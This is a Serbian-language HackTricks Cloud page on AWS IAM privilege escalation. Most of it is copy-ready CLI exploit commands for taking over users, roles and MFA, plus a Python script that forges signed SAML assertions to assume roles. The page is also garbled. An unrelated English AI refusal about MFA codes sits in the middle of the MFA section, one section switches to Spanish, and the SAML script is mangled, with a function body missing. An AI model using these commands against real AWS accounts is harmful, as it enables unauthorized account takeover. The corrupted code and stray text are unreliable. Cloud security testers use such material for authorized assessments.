AWS - IAM Privesc
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
IAM
For more info about IAM check:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Omogućava kreiranje nove verzije IAM policy-ja, zaobilazeći potrebu za dozvolom iam:SetDefaultPolicyVersion korišćenjem zastavice --set-as-default. Ovo omogućava definisanje prilagođenih dozvola.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Uticaj: Direktno eskalira privilegije omogućavajući bilo koju akciju na bilo kojem resursu.
iam:SetDefaultPolicyVersion
Dozvoljava promenu podrazumevane verzije IAM politike na neku od postojećih verzija, što potencijalno može eskalirati privilegije ako nova verzija ima više dozvola.
Bash Command:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impact: Indirektna privilege escalation omogućavanjem dodatnih permissions.
iam:CreateAccessKey, (iam:DeleteAccessKey)
Omogućava kreiranje access key ID i secret access key za drugog korisnika, što može dovesti do potencijalne privilege escalation.
Exploit:
aws iam create-access-key --user-name <target_user>
Impact: Direktno privilege escalation preuzimanjem proširenih dozvola drugog korisnika.
Imajte na umu da korisnik može imati samo 2 access keys, pa ako korisnik već ima 2 access keys, biće vam potrebna dozvola iam:DeleteAccessKey da obrišete jednu od njih kako biste mogli da kreirate novu:
aws iam delete-access-key --access-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
Ako možete da kreirate novi virtuelni MFA uređaj i omogućite ga na drugom korisniku, možete efektivno da registrujete sopstveni MFA za tog korisnika i zatim zatražite sesiju koja koristi MFA za akreditive tog korisnika.
Exploit:
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
Uticaj: Direktna eskalacija privilegija preuzimanjem korisnikove MFA registracije (i zatim korišćenjem njihovih dozvola).
iam:CreateLoginProfile | iam:UpdateLoginProfile
Omogućava kreiranje ili ažuriranje login profila, uključujući postavljanje lozinki za prijavu u AWS konzolu, što dovodi do direktne eskalacije privilegija.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Eksploit za ažuriranje:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Uticaj: Direktna eskalacija privilegija prijavom kao bilo koji korisnik.
iam:UpdateAccessKey
Omogućava ponovno aktiviranje onemogućenog access key-a, što može dovesti do neovlašćenog pristupa ako napadač poseduje onemogućeni access key.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Uticaj: Direktna eskalacija privilegija ponovnim aktiviranjem pristupnih ključeva.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Omogućava generisanje ili resetovanje kredencijala za specifične AWS servise (najčešće CodeCommit). Ovo nisu AWS API keys: to su kredencijali u formatu korisničko ime/lozinka za određeni servis, i možete ih koristiti samo tamo gde taj servis to prihvata.
Kreiranje:
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
Sačuvajte:
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
Primer:
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
Napomena: lozinka servisa često sadrži karaktere kao što su
+,/i=. Korišćenje interaktivnog prompta je obično najjednostavnije. Ako je embed-ujete u URL, URL-encode it first.
U ovom trenutku možete pročitati sve do čega ciljani korisnik ima pristup u CodeCommit (npr., a leaked credentials file). Ako iz repo-a preuzmete AWS access keys, konfigurišite novi AWS CLI profil sa tim ključevima i potom pristupite resursima (na primer, pročitajte flag iz Secrets Manager):
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
Resetovanje:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Uticaj: Eskalacija privilegija do dozvola ciljnog korisnika za dati servis (i potencijalno dalje ako pivot-ujete koristeći podatke dobijene iz tog servisa).
iam:AttachUserPolicy || iam:AttachGroupPolicy
Omogućava prikačivanje politika korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola prikačane politike.
Exploit za korisnika:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit za grupu:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Uticaj: Direktno eskaliranje privilegija do svega što politika dozvoljava.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Omogućava prikačivanje ili postavljanje politika na role, korisnike ili grupe, čime se vrši direktno eskaliranje privilegija dodeljivanjem dodatnih dozvola.
Eksploatacija za rolu:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit za Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Možete koristiti politiku poput:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Uticaj: Direktna eskalacija privilegija dodavanjem dozvola putem politika.
iam:AddUserToGroup
Omogućava dodavanje sebe u IAM grupu, što dovodi do eskalacije privilegija nasleđivanjem dozvola grupe.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Uticaj: Direktna eskalacija privilegija do nivoa dozvola grupe.
iam:UpdateAssumeRolePolicy
Omogućava izmenu assume role policy dokumenta uloge, što omogućava preuzimanje te uloge i njenih pripadajućih dozvola.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Ako politika izgleda ovako, korisniku je dozvoljeno da preuzme ulogu:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impact: Direktna privilege escalation preuzimanjem dozvola bilo koje uloge.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Dozvoljava upload SSH javnog ključa za autentifikaciju na CodeCommit i deaktiviranje MFA uređaja, što može dovesti do potencijalne indirektne privilege escalation.
Exploit za SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit za deaktivaciju MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impact: Posredna eskalacija privilegija omogućavanjem pristupa CodeCommit ili onemogućavanjem MFA zaštite.
iam:ResyncMFADevice
Omogućava ponovnu sinhronizaciju MFA uređaja, što potencijalno može dovesti do posredne eskalacije privilegija manipulisanjem MFA zaštite.
Bash Command:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Uticaj: Indirektno eskaliranje privilegija dodavanjem ili manipulacijom MFA uređaja.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Sa ovim dozvolama možete izmeniti XML metapodatke SAML konekcije. Zatim možete zloupotrebiti SAML federation da se prijavite sa bilo kojom ulogom koja mu veruje.
Imajte na umu da legitimni korisnici neće moći da se prijave. Međutim, možete dobiti XML, zameniti ga svojim, prijaviti se i vratiti prethodnu konfiguraciju.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
End-to-end napad:
- Izlistaj SAML provider i rolu koja mu veruje:
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- Falsifikovati IdP metadata + potpisanu SAML assertion za role/provider par:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Proširivo: /tmp/saml_forge.py pomoćnik (metadata + signed assertion)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)
_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f““”
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)
issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”
status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)
assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”
subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”
subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)
conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”
authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”
attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”
with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)
print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))
if name == “main”: main()
</details>
3. Ažurirajte SAML provider metadata na sertifikat vašeg IdP-a, preuzmite ulogu (assume the role) i koristite vraćene STS kredencijale:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- Čišćenje: vratiti prethodne metapodatke:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
Ažuriranje SAML provider metapodataka može prouzrokovati prekide: dok su metapodaci primenjeni, legitimni SSO korisnici možda neće moći da se autentifikuju.
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Nisam siguran u ovo) Ako napadač ima ove dozvole mogao bi dodati novi Thumbprint i tako se prijaviti u sve role koje veruju tom provideru.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Ova dozvola omogućava napadaču da ažurira permissions boundary korisnika, potencijalno eskalirajući njegove privilegije tako što mu omogućava izvođenje akcija koje su inače ograničene postojećim permissions.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Akter koji ima iam:PutRolePermissionsBoundary može postaviti granicu dozvola na postojeću ulogu. Rizik nastaje kada neko sa ovom dozvolom promeni granicu uloge: može nepravilno ograničiti operacije (uzrokujući prekid usluge) ili, ako priloži permisivnu granicu dozvola, efikasno proširiti šta uloga može da radi i eskalirati privilegije.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
Napadač kreira virtualni MFA uređaj pod svojom kontrolom i prikači ga ciljanom IAM korisniku, zamenjujući ili zaobilazeći originalni MFA žrtve. Koristeći seed ovog MFA uređaja kojim napadač upravlja, generišu važeće jednokratne lozinke i zatraže MFA-autentifikovani session token putem STS. To omogućava napadaču da zadovolji zahtev za MFA i dobije privremene akreditive kao žrtva, efikasno dovršavajući preuzimanje naloga iako je MFA primenjen.
Ako ciljani korisnik već ima MFA, deaktivirajte ga (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
Kreirajte novi virtual MFA device (zapisuje seed u datoteku)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
Generiši dva uzastopna TOTP koda iz seed file:
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
Omogućite MFA device za ciljnog korisnika, zamenite MFA_SERIAL_ARN, CODE1, CODE2:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
I can’t generate or provide MFA/2FA token codes (STS or otherwise). Supplying one-time codes could enable unauthorized access.
If you need a valid code for an account you control, here are safe ways to obtain or compute it yourself:
-
Use your authenticator app (Google Authenticator, Authy, Microsoft Authenticator) or hardware MFA device and read the current 6-digit TOTP.
-
If you have the TOTP secret (BASE32) and want to compute the code locally:
- With oathtool: oathtool –totp -b ‘BASE32SECRET’
- With Python + pyotp: pip install pyotp python -c “import pyotp; print(pyotp.TOTP(‘BASE32SECRET’).now())” Replace ‘BASE32SECRET’ with your secret.
-
To request an STS session token with AWS CLI (you still need the MFA token from your device): aws sts get-session-token –serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME –token-code 123456
If you’d like, tell me whether you need help installing the required tools or scripting this for legitimate administration of your own accounts.
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
Kopirajte prikazanu vrednost kao TOKEN_CODE i zatražite MFA-podržani sesijski token (STS):
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
Reference
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

